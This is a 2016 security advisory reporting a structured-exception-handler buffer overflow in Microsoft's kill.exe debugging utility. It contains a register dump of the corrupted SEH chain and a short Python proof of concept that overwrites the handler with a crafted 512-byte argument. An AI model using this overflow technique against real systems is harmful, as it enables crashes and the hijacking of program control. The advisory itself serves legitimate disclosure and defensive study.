Microsoft Process Kill Utility 6.3.9600.17298 Buffer Overflow
Posted on 09 July 2016
[+] Credits: HYP3RLINX [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MS-KILL-UTILITY-BUFFER-OVERFLOW.txt [+] ISR: ApparitionSec Vendor: ================= www.microsoft.com Product: ========================================= Microsoft Process Kill Utility "kill.exe" File version: 6.3.9600.17298 The Kill tool (kill.exe), a tool used to terminate a process, part of the WinDbg program. Vulnerability Type: =================== Buffer Overflow SEH Buffer Overflow @ about 512 bytes Vulnerability Details: ===================== Register dump 'SEH chain of main thread Address SE handler 001AF688 kernel32.756F489B 001AFBD8 52525252 42424242 *** CORRUPT ENTRY *** 001BF81C 41414141 AAAA 001BF820 41414141 AAAA 001BF824 41414141 AAAA 001BF828 41414141 AAAA 001BF82C 41414141 AAAA 001BF830 41414141 AAAA 001BF834 909006EB ë Pointer to next SEH record 001BF838 52525252 RRRR SE handler <================ 001BF83C 90909090 001BF840 90909090 Exploit code(s): ================ Python POC. import subprocess junk="A"*508+"RRRR" pgm='c:\Program Files (x86)\Windows Kits\8.1\Debuggers\x86\kill.exe ' subprocess.Popen([pgm, junk], shell=False) Disclosure Timeline: ================================== Vendor Notification: June 24, 2016 Vendor reply: Will not security service July 8, 2016 : Public Disclosure Exploitation Technique: ======================= Local Severity Level: ================ Low [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. HYP3RLINX
